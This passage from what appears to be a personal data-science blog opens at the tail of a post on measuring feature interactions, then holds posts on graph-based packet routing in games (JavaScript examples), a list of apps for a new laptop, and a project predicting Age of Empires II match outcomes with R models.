x2 is in interaction: 0.10167180905369481

We can then calculate the second-order H-measure, also for higher-order interactions:

gradient boosting (first result is sklearn_gbmi, second is ours):
('x0', 'x1')        0.3694527407798142      0.3965718336359157
('x0', 'x2')        0.04741546008708799     0.04546491988445405
('x0', 'x1', 'x2')  0.030489287134804244    0.028760391025931864

random forest:
('x0', 'x1')                                0.42558760788710415
('x0', 'x2')                                0.05978441740731955
('x0', 'x1', 'x2')                          0.07713738471773776

And that’s it; a lot of “set-up” for a relatively simple payoff, though it does reveal how a deep understanding of the techniques you use is necessary to know in which cases they can fail, as well as the importance of taking a look at implementations to see what exactly they implement and what they do not.

In my search on “white washing” black box models, I also discovered the following clever approaches:

RuleFit: a technique which combines linear models with new features learnt using decision trees that represent interactions
skope-rules: a trade off between the interpretability of a Decision Tree and the power of a Random Forest, which offers a very interesting approach as well aimed at deriving a short list of precise rules

Or in fact any predictive model. ↩
X here being the train or development set, but a test set can also be used, and both have their distinct purposes in this setting. ↩
“Deep” being a quip to deep learning, of course. One could argue that the bulk of deep learning consists of (i) extracting very non-linear effects, (ii) extracting very deep interactions ⁴ and (iii) performing complex feature transformations. ↩
There is some folklore around how deep interactions can go. Some practitioners indicate that everything beyond two-way interactions is either non-existent or simply a sign of overfitting when working with real-life data. Often the same practitioners who indicate that most data sets are linearly separable anyway. For most industry-based tabular data sets, I’m in fact still inclined to believe them, though exceptions can and do make the rule. ↩

An Exploration of Cellular Automata and Graph Based Game Systems: Part 3

2018-08-03T21:09:00+02:00

This post is the third part on a small series on cellular automata and graph based systems as found in games. Part 1 can be found here, part 2 is over here.

In our last part, we ended up with the basic groundwork to construct grid based cellular automata, including fluid dynamics as seen in games such as Oxygen Not Included.

Here’s what we ended with last time around. (Pressing o cycles through the different material types to draw, p (un)pauses the simulation, d toggles debugging mode. Press r to reset everything.)

Apart from using cellular automata based systems, many game will also incorporate graph based gameplay mechanisms on top of this, e.g. to model the behavior of agents, electricity, or modeling flow through pipes, such as in Cities: Skylines, SimCity, and many others:

Graphs

The field of graphs and their theory forms a whole maths subfield on their own. Put simply, a graph is a structure describing objects, called vertices (or nodes) and the relations between them, called edges (or lines, or arcs), which can be directed (if the ordering of the connected nodes is important) or undirected.

An interesting avenue to explore is whether we can model such structures using our grid-based cellular automata we have already explored before. Let us take the example of the following system you might encounter in a typical game:

“Emitter” nodes send water (or some other sort of packets) every so often
Water flows through edges (the pipes, if you will) through connected nodes
“Connecting” nodes link multiple pipes together, when water passes through these, they’ll send it along to one of the connected pipes in a round robin fashion
“Consumption” nodes remove the water upon arrival

Trying to implement this in a cellular automata fashion is possible, and looks like this:

This being said, the limitations of the system rapidly become clear. We need a whole lot of state to keep track of the system as it updates (including defining a water packet having a “tail”, similar to the Wireworld example seen earlier), and the rule set is nothing short of messy:

Define the neighborhood as a Von Neumann neighborhood
If the current cell is an edge, and there is an emitter in the neighborhood ⇒ change the cell to a spawn
Otherwise, if there is a head in the neighborhood ⇒ change the cell itself to a head
Otherwise, if there is a connector in the neighborhood ⇒ change the cell itself to a head
If the current cell is an emitter ⇒ rotate its direction
If the current cell is a spawn ⇒ change it to a head
If the current cell is a head ⇒ change it to a tail
If the current cell is a link and not on cooldown, and there is a head in the neighborhood ⇒ add one to its counter
If the current cell is a link and its counter is above zero, and there is an edge in its neighborhood ⇒ detract one from its counter and put it on a cooldown
If the current cell is a link and its counter is above zero ⇒ rotate its direction
If the current cell is a link and on cooldown ⇒ remove its cooldown

Phew, that is a lot of state keeping to model a simple system. Perhaps we can do better by switching to a graph-first approach.

Let us start with a basic playground where we can add nodes and connect them (click to add or remove a node, drag between two nodes to add an edge):

This breaks away from our grid-based mentality, though this is less of an issue as it seems as we can simply map the concept of a graph to a grid as well by constraining nodes to grid positions as well.

Moving objects

This basic system is enough to set up a system for moving packets across our graph. In its most basic form, it is sufficient to define a strategy in terms of what should happen when a node should emit a packet, and what should happen when a node consumes a packet (i.e. when a packet arrives at its destination node).

A random strategy would look as follows:

function emitPacket(n, from) {
    var connected = getConnected(n);
    if (connected.length == 0) return null;
    var next = undefined;
    while ((from == next && connected.length > 1) || next == undefined) {
        next = connected[randomint(0, connected.length)];
    }
    var newPacket = new Packet(n, next);
    packets.push(newPacket);
}

function consumePacket(p) {
    var n = packets[p].to;
    var connected = getConnected(n);
    if (connected.length > 1) emitPacket(n, packets[p].from);
    packets[p].remove()
}

Note that we already account for a simple system where nodes should prevent sending packets to a node equal to where the packet just came from.

The result looks as follows (click to add or remove a node, drag between two nodes to add an edge, press middle mouse button on a node to have it start emitting packets):

A round robin strategy is relatively easy to implement as well:

function emitPacket(n, from) {
    var connected = getConnected(n);
    if (connected.length == 0) return null;
    var next = undefined;
    while ((from == next && connected.length > 1) || next == undefined) {
        nodes[n].last_connected_index = (nodes[n].last_connected_index + 1) % connected.length;
        next = connected[nodes[n].last_connected_index];
    }
    var newPacket = new Packet(n, next);
    packets.push(newPacket);
}

function consumePacket(p) {
    var n = packets[p].to;
    var connected = getConnected(n);
    if (connected.length > 1) emitPacket(n, packets[p].from);
    packets[p].remove()
}

And this looks as follows:

Even more convoluted systems, such as packets moving along a shortest path to their destination is relatively easy to implement as well. We just calculate the shortest path using Dijkstra’s algorithm (to a random destination node, in this case) and store it in the packet’s state. On consumption, the consuming node uses this to send the packet along:

function emitPacket(n) {
    var connected = getConnected(n);
    if (connected.length == 0) return null;
    var finaldest = randomint(0, nodes.length - 1)
    var trajectory = dijkstra(n)[finaldest];
    if (trajectory.dist == 0 || trajectory.dist == Infinity) return;
    var newPacket = new Packet(n, trajectory.shift());
    newPacket.trajectory = trajectory;
    packets.push(newPacket);
}

function consumePacket(p) {
    var n = packets[p].to;
    if (packets[p].trajectory.length > 0) {
        var newPacket = new Packet(n, packets[p].trajectory.shift());
        newPacket.trajectory = packets[p].trajectory;
        packets.push(newPacket);
    }
    packets[p].remove()
}

And this looks as follows (middle click once on a node to emit one packet):

Towards more complex systems

We can now extend this system with some more complex rules as well. As an example, consider a game like Harvest: Massive Encounter or Creeper World where players connect up an energy grid. An emitter sends energy packets along to outer nodes, though connecting nodes need to be powered up themselves before they can send energy along. As a routing system, we’ll use a simple random strategy:

function emitPacket(n, from) {
    var connected = getConnected(n);
    if (connected.length == 0) return null;
    var next = undefined;
    while ((from == next && connected.length > 1) || next == undefined) {
        next = connected[randomint(0, connected.length)];
    }
    var newPacket = new Packet(n, next);
    packets.push(newPacket);
}

function consumePacket(p) {
    var n = packets[p].to;
    if (node_energy !== null && !(nodes[n].id in node_energy)) node_energy[nodes[n].id] = 0;
    if (node_energy !== null && node_energy[nodes[n].id] < energyRequired.value()) {
        node_energy[nodes[n].id] += packetEnergy.value();
    } else {
        var connected = getConnected(n);
        if (connected.length > 1) emitPacket(n, packets[p].from);
    }
    packets[p].remove()
}

Feel free to play around with the result below (click to add or remove a node, drag between two nodes to add an edge, press middle mouse button on a node to have it start emitting packets, or middle click outside to stop emitting). Note how in the default scenario, our outermost nodes already are hard to power up using a random routing strategy. Try playing around with the parameters to observe the results:

This concludes our very shallow tour around cellular automata and graphs in games. As noted in the introduction, this was mainly meant to play around a bit with p5.js to visualize and create such systems. The underlying code is too messy to publish in full, though hopefully has shed some light on how these systems form recurring building blocks in many games.

List of Apps (2018)

2018-05-10T12:23:00+02:00

It’s time to setup a new laptop, so once again I’m jotting down a list of apps I normally install right away, slightly updated again.

Web

Skype is avoided, use web version once again.

General

Microsoft Office
7-Zip
Everything to locate files and folders by name instantly.
f.lux
Paint.NET
Sumatra PDF and Adobe Reader for those annoying edge cases where Sumatra doesn’t work.
VirtualBox
Spotify
VLC
Steam
GOG Galaxy
Fonts: Open Sans especially.

Cmder is out, use PowerShell or Ubuntu from the Windows store.

Data Science

Coding and Editing

Eclipse
GitHub Desktop
LyX
Sublime Text
VSCode: excellent and rapidly replacing every other code editor.
WinEdt

Predicting Voobly Age of Empires 2 Matches

2018-04-24T20:13:00+02:00

I think that Age of Empires II is probably the game I’ve been playing on or off for the longest amount of time. In fact, it is this game which pushed me to write a custom tool to prevent DirectDraw palette issues more than eight years ago, before custom community patches (and the “HD version” of the game was available).

I have fond childhood memories of the game, and although I don’t commonly find the time or focus anymore to play it myself, it’s fun to see how the game has found a new community and attention anno 2018, driven by streamers on Twitch such as Nili, T90Official, and MembTv, as well as YouTube personalities such as Spirit of the Law and ZeroEmpires, driving new players to the game. As such, the AOE2 e-sports scene is relatively healthy today, and whereas the game is by no means as popular as e.g. Dota or League of Legends, it’s by far one of the most enjoyable traditional RTS’ games to watch these days, with big tournaments appearing every so often between high-ranking players, with Battle of Africa being one of the more recent ones.

It is important to note, however, that most of this newfound attention does not take place on the Steam version of the game, which is solid enough but is widely regarded as not being the most optimal way to play the game competitively online, with the version being relatively prone to lag, desyncs, and without solid spectator plugins that would allow streamers to display statistics and overlays whilst watching games. Instead, serious players will opt to utilize Voobly, a multiplayer platform and social network which supports a bunch of older games, though AOEII is by far the most popular one, even to a degree that it’s the main focus game for Voobly today. The additional benefits the platform offers go quite far, including proper ELO rankings for players, support to install additional mods and patches for the game, including the incredible community built UserPatch, which extends the game with lots of balancing fixes, bug fixes, and additional features. Together with WololoKingdoms, another community project, one can even bring in the AOE2 HD expansion packs (if you own them, of course) to Voobly.

With this background knowledge in mind, and after having spend various Saturday evenings watching tournaments live, I was wondering whether it would be feasible to set up a predictive model that would be able to predict who’d win a match up. During matches, viewers will happily chat away about who they think is winning incorporating things such as number of units, resources available, who advances through research and ages quicker, map control, kill/death ratio, civilizations chosen by the players, the players respective ranking and history, and the score per player the game provides (which is calculated based on various inputs and generally goes up for both as the game progresses):

Hence the reason why broadcasters prefer to overlay the screen with additional statistics as provided by Voobly plugins, as the screenshot above shows. Although the community (and pro-players especially) are very good at “feeling” whether they have the upper hand, I wanted to see if this could be quantified a bit more in terms of a predictive model, as well as figuring out how long an average game needs to run before such model would be sure about the outcome. In the final five to ten minutes, it’s often clear who’s going to win a match, but perhaps we could do better than this as well?

And so, an idea for a fun weekend data science project was born.

Gathering the Data

In 90% of all data science projects, gathering and preparing data takes 90% of the time spend on the project, and I didn’t expect it to be much different with this particular one.

A benefit of the Voobly platform is that it keeps a permanent record of all matches that have been played, including statistics regarding the type of map being played, civilizations chosen, who won the game, and a post-game overview of scores and other stats per player:

This is already a great source of info, and various community members have used such information to analyze games and player performance, though for our setting, it might not be enough. Post-game summaries are relatively worthless in our setting, as our goal is not to build a predictive model that can predict who won given a final state of affairs (that would be extremely easy), but to also done so given a current game state, gathered as the game progresses.

Sadly, Voobly does not provide data at this level of granularity, at least not directly. Luckily, it does allow an option to download “recorded games”, small files containing a completely playback of a match which you can replay using the game itself.

Using a simple web scraping script written in Python, I hence collected a bunch of games from Voobly, together with their according recordings, leaving us with a database full of match information as well as a directory full of recordings (2619 matches):

What I wanted to do next is to go through each game step by step, extracting a game state every few seconds or so. To do so, my first idea was to attempt parsing the recordings to extract this information. The “MGZ” binary file format which stores these is pretty well known and reverse engineered, with lots of projects and documents being available:

However, as I was going through these resources, it quickly become clear that this wasn’t going to be as easy as initially thought. The first issue for recAnalyst outlines the problem:

I scanned through documentation and some code, but I don’t see anything to read the actual game play information instead of just stats and initial points.

With the answer:

Rec game bodies consist of a series of commands. This has all the gameplay stuff in it so you could parse it out if you know what all the commands mean. Biegleux put a few parsers in there (the building creation, unit creation, and research ones), but I don’t know about the others.

The idea of recorded games basically boils down to a file format containing the initial starting state for each player. Then, the game itself is simply stored as a sequence of player commands (move this object here, queue this unit in this building, make this unit attack this unit, and so on), without there being intermediate “key frames” we could extract. As such, to reconstruct a game’s state at a certain time point, we’d have to basically replay all commands up until that time point to recreate the state at that point.

This is not to be unexpected for a 1999 game. And many of these decisions have to do with the underlaying network synchronization model (see this fantastic article describing the setup, for instance), though it does lead to a problem. The only reliable “player” for the recordings is the game engine itself. As a reliable recreation can only be done if you know the exact aspects of the simulation (e.g. to parse a “move this unit” command, you’d have to know the speed of the unit, how terrain affects the path, and so on), the only program that can reliably do this is the game. At this point, I’d had to pick between one of the following solutions:

Parse the recordings using aog-mgz to extract the information we can per time stamp. Based on the commands contained in the recordings, we can for instance figure out when a certain research was started, which units were created, and which buildings were put down. This allows us to aggregate some state over time (e.g. at time point t, player 1 has created 20 villagers), though we miss out on a lot of details exactly describing the current state. Knowing for instance how much of those units or buildings were killed off is extremely hard to extract. This is also why most AOEII community sites basically show the same information: research as performed over time (as shown on the Voobly matchpages) is relatively easy to parse out, but a detailed evolution of units alive is much harder. Though we can imagine this information to be useful to a predictive model (a player creating units at a faster rate should have an edge regardless of how many of these were killed off, generally speaking), I wasn’t convinced about this approach.
The second approach entails replaying each recording through the game. As we’ve noted above, Voobly is able to overlay dashboards which do show information about the game as-is and do take into account a current count of units being alive, for instance. So if we can get this information out every second or so as the game progresses, we would have the data we need.

I opted to go for the second approach, but also here, the game and tooling around it shows its age and complexity. First of all, the main dashboard overlay for Voobly does not contain a simply option to stream data out over a socket. Not to worry, as I could just rapidly build a mod myself which would be able to do so. However, finding reliable information on building such a mod (without having deep ties with Voobly, I assume), this is virtually impossible to do. Voobly exposes an internal spectator API (presumably based on reading out important stats from the game’s memory as it is running), though does not provide any documentation, guides, or whatsoever for one to build such a mod themselves.

Being stuck on this route, I briefly considered taking periodic screenshots of the game and using OCR to convert statistics to a structured data set, before deciding that this would probably be extremely error prone. However, it occurred to me that although most streamers use the “Spectator Overlay” mod to overlay statistics, there is also an alternative, “Spectator Dashboard“, which does allow to stream out information whilst running, for example to include it in a custom OBS video overlay. However, at the time of writing, the mod was incompatible with Wololokingdoms, which the majority of competitive games are using.

Whilst I was thinking about this, my last resort was a forum post on AOCZone, to see if I’d maybe missed a particular tool or approach. To my delight, HappyLeaves, (the Spectator Dashboard author self) was willing to point out a few things. First, the Voobly spectator API indeed does seem to be surrounded by an air of mystery. Second, HappyLeaves provided my with an updated build which is able to pump its statistics through a websocket and did work with WololoKingdoms. Big thanks to HappyLeaves! It would be great if Voobly would open up this API for outside authors or some information would be open sourced, though I assume the main driver preventing this is that it would probably lead to using it to create cheating tools as well.

At this point, I had a bunch of recordings, the game and Voobly installed, and a mod which pumped out statistics at a rapid pace over a websocket. The only thing remaining now is to replay those recordings one by one, right? However, this too, turns out to be easier said then done. It turns out that MGZ recordings, since they’re so tied to the game engine, will not work reliably in cases where the game engine does not completely match with the game engine that produced the file. For instance, trying to replay a recording produced by a player running UserPatch version 1.4 will simply crash the game if you start it with the UserPatch version 1.5 enabled. Sadly, the MGZ format does not contain a metadata section containing this information, though the Voobly match pages do list which configuration was used, so this information was available based on what I’d scraped earlier. In hindsight, it would probably have been easier to limit myself to a known single configuration (latest UserPatch at the time of gathering with WololoKingdoms), but nevertheless the issue remained how this whole approach could be automated. In general, parsing a recording boils down to the following steps:

Move the recordings file to the correct directory (depending on the mod selected, Voobly will look in different locations)
Open a Voobly game
Open its settings window, make sure the right patch and mod are selected
In another part of the settings window, indicate you want to watch a recording
Launch the game
Speed up the game and read all the data from the websocket
Close the game, and move to the next file

This would have been relatively easy if Voobly contained some sort of command line utility where you’d simply be able to execute:

watch_recording.exe /patch "UserPatch 1.4" /mod "WololoKingdoms" /rec "my_recording.mgz" /speed 99

I Googled around for a while, but was unable to find such command line interface. It doesn’t seem that Voobly stores game settings in the Windows registry either, so the only approach remaining was to write a Python script full of horrible win32api calls and GUI automation tooling to go over these steps that way. Voobly doesn’t use standard Windows components (I believe it uses Qt), so many clicks and checks were written simply by taking a screenshot and checking the pixel color at a certain position (to make sure the “Watch recording” checkbox was enabled, for instance). The same goes for the game itself: upon starting it, I simulate some mouse presses to the “speed up” button. In the background, a second Python process is started which starts reading the websocket and dumps the retrieved data to a database table. Once data has stopped arriving, the process closes itself, and the automation script knows it should close the game, at which point the next recording can be set up.

AOEII does not allow to speed up games beyond a speed of “99”, and together with frequent random crashes, I often had to go in and rescue the script by closing the game manually and restarting it. I often stopped parsing recordings for a few weeks due to being busy (and December holidays), so overall it took more than three months before I’d gone through all the recordings.

Finally, we could use this data to build a predictive model.

Building the Model

I decided to go with R for the model building step, since I prefer its dplyr and tidyr libraries a bit more compared to, say, Pandas to perform data wrangling.

A first bunch of lines loads in the table containing the replay information, with one line per (match, timestamp) combo. I only retain information for the first two players, as I’m only considering 1v1 matchups here.

library(DBI)
library(RSQLite)
library(dplyr)
library(tidyr)
library(dbplyr)
library(rlang)
library(glue)
library(ggplot2)
options(scipen=999)

# ================
# Data preparation
# ================

con <- dbConnect(SQLite(), dbname="voobly3.db")
dbListTables(con)

db.matches <- tbl(con, "matches")
db.replay <- tbl(con, "replay")

db.replay %>% colnames

replay_table <- db.replay %>% 
filter(type=='tick') %>% 
select(match_id, current_time, 
        starts_with("data_players_0_"), 
        starts_with("data_players_1_"))

All columns in this table come from the stats plugin running in the game and contain about 150 features per timestamp, such as:

[5] "data_players_0_units_infantry"   "data_players_0_units_ranged"
[7] "data_players_0_units_siege"      "data_players_0_units_war_ships"     
[9] "data_players_0_units_cavalry_archers"  "data_players_0_units_cavalry"
[11] "data_players_0_units_monks"     "data_players_0_units_idle_fishing_ships"       
[13] "data_players_0_units_stone_miners"    "data_players_0_units_gold_miners"

Giving this kind of information to any predictive model will make it kind of hard for it to figure out what is influencing the outcome of the game. Instead, we first perform a pairwise transformation, simply by taking the difference between pairs of columns relating to the same info for both players. Instead of saying that player 0 has 14 gold miners and player 1 has 16 is pretty hard for a predictive model to make sense of directly, so instead we create one column a saying that the difference between player 0 versus player 1 is -2. (A similar approach is taken in this blog post which is pretty interesting to go through.)

Caveat: the above is of course up for discussion, as one could argue that the difference of 14 goldminers versus 16 encodes something else than the difference of 100 goldminers versus 102, even though it would result in the same delta value in our approach. Perhaps the difference of two goldminers is important in the lower number range, but less meaningful in the higher number range, and we’d lose this information after applying our suggested transformation. This is a valid remark but one we will ignore for now.

To create the difference columns in R, we need to perform some heavy juggling (hard-coding all columns is possible too, but less fun):

grepgsub <- function(l, pattern="^data_players_\\d+_(.*)$") {
    grepped <- grep(pattern, l)
    subbed <- gsub(pattern, "\\1", l[grepped])
    result <- as.list(unique(subbed))
    return(result)
}

diff_expression <- function(l, pattern="^data_players_\\d+_(.*)$",
  expression="(data_players_0_{x} - data_players_1_{x})", prefix="diff") {
    name_list <- grepgsub(l, pattern=pattern)
    expr_list <- name_list %>%
        lapply(function(x) parse_quosure(glue(expression))) %>% 
        setNames(paste(prefix, name_list, sep = "_")) 
    return(expr_list)
}

# Calculate diff statistics:
# - First deal with kills and razes (as this is a pairwise column in itself)
# - We recode these to a single column per player since we take 1v1 games only
# - Then mutate for difference calculation
# - Then bring in names and make match id and time numeric
# - Then remove original columns

diff_table <- replay_table %>% 
mutate(data_players_0_kills=data_players_0_kills_2,
        data_players_0_razes=data_players_0_razes_2,
        data_players_1_kills=data_players_1_kills_1,
        data_players_1_razes=data_players_1_razes_1) %>%
select(-contains('kills_'), -contains('razes_')) %>%
mutate(player_1_name=data_players_0_name, player_2_name=data_players_1_name) %>%
mutate(!!!diff_expression(colnames(.))) %>%
mutate(match_id=as.numeric(match_id), current_time=as.numeric(current_time)) %>%
select(-starts_with('data_players_'), -diff_id, -diff_name)

We can validate this by taking a look at a single match:

library(cowplot)

plot_grid(
diff_table %>% filter(match_id==16720619) %>% 
    select(current_time, diff_population_total) %>% 
    collect %>%
    ggplot(aes(x=current_time, y=diff_population_total)) +
    geom_line() + geom_hline(yintercept=0) + xlab("") + ylab("Pop Diff"),
replay_table %>% filter(match_id==16720619) %>% 
    select(current_time, data_players_0_population_total, data_players_1_population_total) %>% 
    collect %>% gather("type", "population_total", 2:3) %>%
    ggplot(aes(x=as.numeric(as.character(current_time)), 
            y=as.numeric(as.character(population_total)), 
            colour=type, group=type)) +
    geom_line(show.legend=F) + xlab("Game Time") + ylab("Total Pop"),
ncol=1
)

This works. The final step is to bring in the target information, which we’re going to binary encode (i.e. we’ll create a player_1_wins column set to 1 if player 1 won, and to 0 if player 2 won). This is a bit annoying as the replay data lists the names of both players, though they might not be in the same order as what we have collected in our match metadata, from which we also want to bring in a final difference feature: the difference between the ELO ratings of the players before starting the match. To make things a bit worse, the player names extracted from Voobly often include a clan tag at the beginning, whereas the ingame names might not.

extra_info <- db.replay %>%
left_join(db.matches, by='match_id') %>%
select(match_id, match_winner,
        data_players_0_name, data_players_1_name,
        match_player1_name, match_player2_name,
        match_player1_rating_before, match_player2_rating_before) %>%
distinct %>% collect %>%
mutate(winner_name=ifelse(match_winner==1, match_player1_name, match_player2_name)) %>%
mutate(player_1_wins=as.numeric(endsWith(data_players_0_name, winner_name))) %>%
mutate(order_normal=endsWith(data_players_0_name, match_player1_name)) %>%
mutate(diff_rating=ifelse(order_normal, 
                            match_player1_rating_before-match_player2_rating_before,
                            match_player2_rating_before-match_player1_rating_before)) %>%
select(match_id, winner_name, player_1_wins, diff_rating) %>%
distinct

We check whether this worked based on some spot checks:

> db.matches %>% filter(match_id == 16720619) %>% collect %>% select(match_winner, contains("name"))
# A tibble: 1 x 3
match_winner match_player1_name match_player2_name
        <int> <chr>              <chr>             
1            1 TrunicC            chagass

> extra_info %>% filter(match_id == 16720619)
# A tibble: 1 x 4
match_id winner_name player_1_wins diff_rating
    <int> <chr>               <dbl>       <int>
1 16720619 TrunicC                1.          80

> diff_table %>% filter(match_id == 16720619) %>% select(contains("name"))
# Source:   lazy query [?? x 2]
# Database: sqlite 3.11.1 [C:\Users\Seppe\Desktop\aoepredict\voobly3.db]
player_1_name player_2_name 
<chr>         <chr>         
1 [CiD]TrunicC  [ VkA_]chagass
2 [CiD]TrunicC  [ VkA_]chagass
3 [CiD]TrunicC  [ VkA_]chagass
4 [CiD]TrunicC  [ VkA_]chagass
5 [CiD]TrunicC  [ VkA_]chagass
6 [CiD]TrunicC  [ VkA_]chagass
7 [CiD]TrunicC  [ VkA_]chagass
8 [CiD]TrunicC  [ VkA_]chagass
9 [CiD]TrunicC  [ VkA_]chagass
10 [CiD]TrunicC  [ VkA_]chagass
# ... with more rows

We can now bring everything together into a final table and are ready to model. Since we have a lot of data (every match exposes hundreds of snapshots), we’ll use a sample to train our model. We also want to create a balanced sample to make sure we have a 50-50 outcome of player 1 or player 2 winning. Finally, we also make sure to set aside a test set from this sample:

library(caret)

sample <- final_table %>% group_by(player_1_wins) %>% sample_n(size = 30000) %>% as.data.frame
sample$player_1_wins %>% table

partition <- createDataPartition(sample$player_1_wins)

sample.train <- sample[partition$Resample1,]
sample.test <- sample[-partition$Resample1,]

Additionally, there is another trick we can apply here to make the models themselves more robust. Since all our features are differences, we can regard every instance where player 1 won also as an instance where player 2 won simply by flipping the sign of every column (if player 1 is two villagers ahead of player 2, then player 2 is two villagers behind). Doing so nicely smooths out our sample and prevents our model being biased towards a particular direction below or above zero for features. It’s unlikely to matter very much given the amount of data we’re going to push in, but nevertheless a good approach:

mirror_data <- function(ds, prefix='diff_', target='player_1_wins') {
ds.m <- ds %>% 
    mutate_at(vars(starts_with(prefix)), (function(x) -x)) %>% 
    mutate_at(vars(target), (function(x) factor(abs( as.numeric(levels(x))[x] - 1))))
return(bind_rows(ds, ds.m))
}

# Only apply this on the train set

sample.train <- mirror_data(sample.train)

We only apply this on the training data, however. The part kept aside as the test set is untouched:

> sample.train$player_1_wins %>% table
    0     1 
30000 30000

> sample.test$player_1_wins %>% table
    0     1 
15000 15000

As a baseline model, we can see how logistic regression fares:

model.glm <- glm(player_1_wins ~ ., family=binomial(link='logit'), 
                data=sample.train %>% select(-match_id, -current_time))

Which obtains:

Confusion Matrix and Statistics on TRAIN

        Reference
Prediction     0     1
        0 21431  8569
        1  8569 21431

            Accuracy : 0.7144

Confusion Matrix and Statistics on TEST

        Reference
Prediction     0     1
        0 10759  4255
        1  4241 10745

            Accuracy : 0.7168

This is not too bad, especially since our data also includes snapshots which occur right after a game has started. We’d hence expect our accuracy to improve as games progress, which is indeed the case:

Nevertheless, we can try to do better, so let’s also construct a random forest model:

library(randomForest)

model.rf <- randomForest(player_1_wins ~ .,
                data=sample.train %>% select(-match_id, -current_time),
                ntree=300, importance=T)

Here, the results are much better: 99% accuracy on the train set, and 83% accuracy on the test set. Since this looks like a solid improvement, I decide to continue with this model.

A final check on the complete data set (without retraining the model) obtains the same accuracy and confirms that our model is indeed able to generalize its predictions:

Confusion Matrix and Statistics

        Reference
Prediction      0      1
        0 755618 136151
        1 153962 762804

            Accuracy : 0.8396

With the accuracy through time looking like this:

Inspecting the Results

We can now look inside our predictive model a bit further to see what drives the outcome of a match, a simple variable importance ranking is obtained simply as follows:

imp <- importance(model.rf, type=1, scale = F)
ggplot(data.frame(imp=imp[,1], var=names(imp[,1])) %>% filter(imp>=0.01), aes(x=var, y=imp)) + 
    geom_bar(stat='identity') +
    coord_flip()

This pretty much confirms what we expected already:

First of all, the score actually seems to provide a solid representation of how far ahead a player is. Next to this, the resources spent play an important role as well, together with resources (with food being more important), population counts, and the ELO rating. The latter is pretty expected, as we’ll see later that this is pretty much the only meaningful variable at the beginning of matches, as all other delta statistics will be close to zero, and the higher ranking player generally ends up winning the match.

Taking a look at the partial depence plots for the total score and total population count basically reflects the same insight:

The score has a direct influence on the outcome, and plateaus off after a difference of 2500 has been reached, as not many games carry on beyond this. Generally speaking a score difference of >1000 is already a strong sign in favor of the respective player.

For the total population difference, the results are similar:

Let’s take a look at some matches to see what happened and what our model thinks of them.

The blue/red colored line shows the output of our model through time, with the purple line showing a moving average over the last 40 ticks (every minute leads to more or less 20 game ticks, so this is a moving average over about two minutes). The orange line plots the score difference over time, scaled so that the highest score difference is represented as (+/-)1. This is already an interesting use case: our prediction varies wildly (as does tehe score) up until minute 20, from which point onwards our model remains sure until the end about player 1 winning. Interestingly enough, the score still jumps up and down (even in favor of the other player around the 40th minute mark).

The following match draws a stranger picture:

Here, our model is confused up until the 20 minute mark before deciding that player 1 has the upper hand, as is also reflected in the score. Strangely enough, only at the very end does the score (and our prediction) plummet with the second player actually winning. So this is definitely a difficult case to predict!

In fact, it might be a good idea to inspect what the accuracy of our model is in terms of predicting the very last game state (i.e. right before someone resigns). We’d expect this to be extremely close to 100%:

Confusion Matrix and Statistics

        Reference
Prediction    0    1
        0 1039   53
        1   78 1064

            Accuracy : 0.9414

Almost, but not quite. This was a bit worrying at the time, so I decide to investigate a few matches where our model remains wrong until the very last moment. In many of them, it simply turns out to be “re”-games where players decided to cancel to match after a few minutes of play. It would have been a good idea to filter those out, though since they don’t really influence the model’s accuracy as a whole, we don’t need to worry much about these. The following match, however, was strange (match id 16721231):

Nothing makes sense here: the game goes up and down between the players, sure, and it seems that our model even heavily disagrees with the score in this case, which steadily goes up in favor of the first player. Nevertheless, a few minutes until the end, our model (and the score) are very sure about themselves and almost reaches a probability of 1. However, note that the color indicates that this turned out to be the incorrect prediction, as it is not player 1 but 2 which won this game.

At first, I suspected an error with the player name matching procedure, so I verified the outcome on the Voobly page, showing the same thing. In the end, I ended up going through the recording myself from start to finish. Indeed, it’s a very close game until the very last minute or so, with player 2 calling “gg” first. However, it is then player 1 which quits out the game by pressing resign first, causing the wrong player to be attributed the win on Voobly. So this is clearly a noisy data issue which we can safely ignore as well. After a few further checks, the accuracy of 94% above isn’t as troublesome any longer.

At this stage, there were two things I wanted to explore further:

“Sure, anyone can predict the outcome right before a game ends”, so how long would it take for the model to call the outcome. We can represent this as the probability staying above or under 0.50 at taking the ratio of the point of time when this happened to the total game time. Or otherwise: “how quickly in terms of how long was played could we have called the game?”
“Everyone can predict the outcome when looking at the score, rating, villager count and total population”, or put differently, I wanted to quantify how much better this model would be compared to the gut feeling of a regular game viewer who typically consider a few key measures. One could even argue based on some of the matches we’ve seen above that a model using score alone might be enough…

In order to answer these questions, I construct a second model only using the score, rating, total population and villager population features. This models obtained a 79% accuracy level, so we’re still doing a bit better overall using the additional information. What we would really like however, is the answer to the first question: how much faster can we call the outcome?

To do so, I compare the predictions over time per match for the regular model and the simple model. I also construct “smoothed” versions of those two models by averaging the probability over the past 40 game ticks (about two minutes) as the plots before had shown that this often works well to smooth out irregular jumps in the probability. For each match, I look at the earliest point in time the probability stays above or below the cutoff of 0.50 and divide that by the total running time to get a ratio. The lower this ratio, the earlier we can “close in” on the match outcome. Plotted as density curves, we get the following result:

This is a fantastic result. Especially when smoothing out the predictions over time a bit (“snormal” and “ssimple”), a massive amount of matches are already “decided” before they’re half underway. For the non smoother versions (“normal” and “simple”), it takes a bit longer before the model can be sure, but here we note the huge benefit of using all the features we have at our disposal versus only using the ones in our simple model, with the “normal” curve being sure of itself much earlier in the match. In fact, this is what we saw in the first match timeline shown above, where the score, for instance, still jumped up and down a bit whereas the model had already decided on its final preference.

Deployment

As a final step, I wanted to see this model running at least in some form on a live match. A few lines of R code exposes our model as an API:

save(model.rf, file="model.rda")

# Deploy as API

library(plumber)
r <- plumb("model_api.R")
r$run(port=8000)

With “model_api.R” basically containing a predict call together with pre-processing steps to convert an instance as retrieved from the websocket to the difference columns we want.

By modifying our Python websocket reader a bit, we can make a call to this API:

r = requests.post('http://localhost:8000/predict', json={"instance": flattened})

And show the result whilst the game is running:

This actually illustrates pretty well how the model is user the rating information. At the beginning of the game, this is the only thing the model can go with until more detailed information becomes available.

Conclusion

This weekend data science project turned out to take a bit longer than just one weekend. Funnily enough, the modelling step turned out to be extremely easy, without missing values or other typical annoying issues to deal with. That said, there are still a number of possibilities for further expansion:

The current information being exposed by the spectator plugin does not include research information, especially ages the players are in. This is widely known to be important as well, so this might still be useful to parse out manually from the recordings
The current time is dropped as a feature, but might be useful to nevertheless include somehow. Perhaps there are interaction effects present based on how long the game has been running for. E.g. the villager count is important in the beginning of games, but maybe less so towards the end. Including ages will also partially capture this
We take simple differences between stats, but as explained above, this abstracts away from some information
